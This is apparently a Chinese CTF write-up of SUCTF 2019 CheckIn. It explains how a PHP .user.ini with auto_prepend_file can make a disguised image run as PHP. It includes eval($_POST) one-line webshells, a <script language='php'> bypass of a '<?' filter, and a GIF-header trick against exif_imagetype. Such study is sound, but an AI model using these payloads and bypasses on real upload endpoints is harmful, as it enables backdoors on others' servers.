先放上我向大佬学习的原文章:大佬文章
我们看看官方手册对于.ini文件的说明:官方PHP手册

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

我们可以看到下图中php.ini里面包含了非常多的php的配置,但是这些配置分成了四种:

我们看看官方对于PHP_INI_*模式的定义:

可以看到,在PHP_INI_USER模式中,是可以利用.user.ini修改设置的,然而,事实上,除了PHP_INI_SYSTEM外,其余三种模式都可以利用.user.ini来修改设置😶
但是相对敏感的配置选项,都是PHP_INI_SYSTEM模式,也就是说只能通过php.ini或者httpd.conf来设定......
8过,在php的配置中有两个灰常有意思的项:

我们点进去看看这俩玩意到底是啥:php核心配置选项说明

auto_append_file string:
Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require function, so include_path is used.
The special value none disables auto-appending.
Note: If the script is terminated with exit(), auto-append will not occur.

翻译成人话就是:可以在同目录下的php文件后面来一个类似于require()函数的功能解析指定的文件,但是php用exit()终止脚本的话,就不可以辣
auto_prepend_file就是在文件前解析
嗯……这俩功能是蛮强大的8,那么隐藏木马的思路就是先传个.user.ini,然后自动解析一张图片名,然后那个图片实际上是个图片马,这样就达成了目的,要求还是苛刻的,为啥呢?
首先,你在上传到的目录下得有php文件,这是前提要求
第二,当你用于隐藏后门的时候,你得能够上传的了.user.ini文件,也就是说防火墙允许你这样干……
看似苛刻,但是有的CTF赛题却可以用~
下面让我们来康康具体的应用8:[SUCTF 2019]CheckIn
打开环境是一张多么朴实无华的界面呵

二话不说来给他干个一句话木马上去

<?php @eval($_POST['CyurL3']); ?>


555,果然不可以,提示我们非法后缀,既然是后缀这块不通过,我们用特殊的来看看,比如双写php,大小写php,用特殊扩展名pht等方法都没办法绕过这个玩意,不信你看源代码嘛(事后出题师傅们放到github上的)

可以看到只要是ph开头的都被干掉了,htaccess也被干掉了(小声bb:这块不太明白,不是只有apache服务器才能上传.htaccess文件吗,个人猜测当时比赛的时候出题方的服务器是apache,buu上的服务器应该就是nginx了8)
既然php不可以,那我们把后缀改成jpg试试😎
可以看到已经绕过了后缀名检测的机制,但是它告诉我们你的图片里不能有"<?"这个东西哟😭
莫得事,我们可以用<script>标签来绕过

<script language="php">eval($_POST['CyurL3']);</script>

那么我们再上传一波来看看

还是不行,它还有exif_imagetype这个东西的检测,百度一下知道它是php的一个函数,来读取一个图像的第一个字节并检查其签名,那我们伪造一波8,在前面加上gif的文件头“GIF”

Ohhhh,上传成功辣

但是怎么解析就是个大问题了没错吧,你可以看到,上传目录下面有index.php,叫什么名字不重要,重要的是有php文件,这个就很nice,我们上传个.user.ini,来包含下a.jpg,让它在php文件里面被解析

这是.user.ini的内容,好了,我们可以上传一波康康

没毛病,成功辽,进入上传文件目录到index.php页面里面,然后菜刀或者蚁剑连接木马,顺利找到flag!

总结下嗷,.user.ini可以来帮助我们解析图片马
其优势吧,在于无论服务器是nginx/apache/IIS,只要是以fastcgi或者cgi运行的php都可以用这个方法来搞一搞,但是有个致命的要求,就是说你的上传目录文件下面得有php文件才可以……
再者,我们复现环境的时候,康康它的源码,其实有个地方做的很不合理,就是过滤掉"<?"的内容,对于用户来说很不友好,因为很多的jpg文件里面的数据区有"<?"这种符号,这样就导致了我们普通的图片也无法上传(亲测),综上,本题get到的技能点:
1,.user.ini来解析木马
2,<script>标签来绕过"<?"的限制(其实绝大多数情况下script标签也不能用……)
3,用图片的文件头来绕过exif_imagetype()函数的检测
本文的最后附上github上的题目项目8:题目环境
如有错误,b站私信up主”yuyu-宇“指出嗷~